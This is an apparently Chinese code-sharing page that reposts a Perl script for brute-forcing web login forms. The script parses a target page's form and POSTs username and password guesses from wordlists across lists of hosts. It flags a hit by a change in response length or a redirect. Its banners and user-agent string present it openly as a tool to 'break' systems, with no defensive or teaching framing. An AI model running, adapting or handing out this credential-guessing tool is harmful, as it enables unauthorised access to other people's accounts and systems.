注册
登录
| 关键词： nbsp color foreach passwords fpass fuser defined host attack pass |
#!/usr/bin/perl -w############################################ This script is made by {0kaid0} ####### Break the fucking system!... ######### Anti-System Warriors! ########### http://www.xok.ge ################################################ Please report bugs to: ## [email protected] ##########################################use LWP::UserAgent;use Term::ANSIColor;if(not @ARGV or @ARGV lt 3) {&usage;} my $host = shift;my $user = shift;my $pass = shift;print ' ::::::::::::::::::::::::::::::::::::::::: ::: This script is made by x0kaid0 ::: :::: Break the fucking system!... :::: ::::: Anti-System Warriors! ::::: :::::: http://www.xok.ge :::::: :::::::::::::::::::::::::::::::::::::::::';print "\n";my $wait = "Perfoming attack!\nWAIT!...\n";print $wait; sub usage { print color("red"),"Usage",color("white"),": $0 <host> <user> <password>\n"; print color("red"),"Note",color("white")," : You may use files istead of single words!\n", color("reset"); exit; }sub getPage {my %form; $agent = LWP::UserAgent->new(); $agent->agent("Your System Is Going to Break Now!"); my $request = HTTP::Request->new(GET => $_[0]); $request->content_type("*/*;"); my $resource = $agent->request($request);if ($resource->is_success) { my $start = index($resource->content, "<form"); my $end = index($resource->content, "</form>"); my $whole = $end - $start; my $form = substr($resource->content, $start, $whole); if ($form=~m/action="?(.*?)"?/gs){$action = $1;} my @types = $form=~m/type="?(.*?)"?/gm; my @names = $form=~m/name="?(.*?)"?/gm; $form{"action"} = defined($action) ? $action : "?"; for $i(0..scalar(@names)-1) { if($form=~m/name="?(.*?)"?/gm) { $form{$types[$i]} = $1; } }} else {print $resource->status_line."\n";}return %form;}sub attack {my($shost,$suser,$spass) = @_;my %page = &getPage($shost);my @site = split(/https?:\/\//, $shost); @site = split(/\//, $site[1]); $browser = LWP::UserAgent->new(); $browser->agent("Your System Is Going to Break Now!"); my $req = HTTP::Request->new(POST => "http://$site[0]/$page{'action'}"); $req->content_type("application/x-www-form-urlencoded"); $req->content("$page{'submit'}=Submit&$page{'text'}=$suser&$page{'password'}=$spass");my $res = $browser->request($req);if($res->is_success) { $len = length($res->content); push @test, $len; print $len."\n"; for $u (0..scalar(@test)-1) { $diff = ($test[$u] - $test[0]); if($diff >20){ die "We found user!\nUser =>",color("green")," $suser ", color("white")," Password =>",color("green")," $spass", color("reset")," :)\n";} } # End foreach $u...} else {if($res->status_line=~m/([302?moved]*)/gi) { die "We found user!\nUser =>",color("green")," $suser ", color("white")," Password =>",color("green")," $spass", color("reset")," :)\n"; } else {print $res->status_line."\n";} }} sub err { die color("red"),"Error:",color("reset")," cannot open file ", color("red"),"$_[0]" ,color("reset"),"\n";}sub verbose {my ($vhost, $vuser, $vpass) = @_;print color("red"),"[ATTEMPT]->",color("white"),"$vhost ", color("red"),"[USER]->" ,color("white"),"$vuser ", color("red"),"[PASS]->" ,color("reset"),"$vpass\n";}# Checking whether we are reading files!..if($host=~m/^[^h*]/s) { open (HOST, "<", $host) or &err($host); @hosts = <HOST>; close(HOST);}if($user=~m/^[^\w*]/s) { open (USER, "<", $user) or &err($user); @users = <USER>; close(USER);} if($pass=~m/^[^\w*]/s) { open (PASS, "<", $pass) or &err($pass); @passwords = <PASS>; close(PASS);}# If reading hosts from file...if(defined @hosts){ foreach $fhost (@hosts) { $fhost =~ s/\x0a//gs; print color("red"),"[ATTACK]->",color("reset"),"$fhost\n"; # If opened file containing usernames... if(defined @users) { foreach $fuser (@users) {$fuser =~ s/\x0a//gs; # If we are reading passwords from file... if(defined @passwords) {foreach $fpass (@passwords) { $fpass =~ s/\x0a//gs; &verbose($fhost, $fuser, $fpass); &attack($fhost,$fuser,$fpass); } # End foreach $fpass... # If there is no password file but exist username-host files!... } else { &verbose($fhost,$fuser,$pass); &attack($fhost,$fuser,$pass); } } # End foreach $fuser.... # If username-password was entered manualy!... } else {&verbose($fhost,$user,$pass); &attack($fhost,$user,$pass); } } # End foreach $fhost....# If not defined @hosts....} else { # If we should read usernames from file...if(defined @users) { foreach $fuser (@users) {$fuser =~ s/\x0a//gs; # If we are reading passwords and users from file... if(defined @passwords) {foreach $fpass (@passwords) { $fpass =~ s/\x0a//gs; &verbose($host,$fuser,$fpass); &attack($host,$fuser,$fpass); } # End foreach $fpass (@passwords)... # If not defined @passwords... } else { &verbose($host,$fuser,$pass); &attack($host,$fuser,$pass); } } # End foreach $fuser.... # If not defined @users... } else { # If reading passwords from file and username-host was entered manualy... if(defined @passwords) {foreach $fpass (@passwords) { $fpass =~ s/\x0a//gs; &verbose($host,$user,$fpass); &attack($host,$user,$fpass); } # End foreach $fpass... } else { &attack($host,$user,$pass); } }} |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
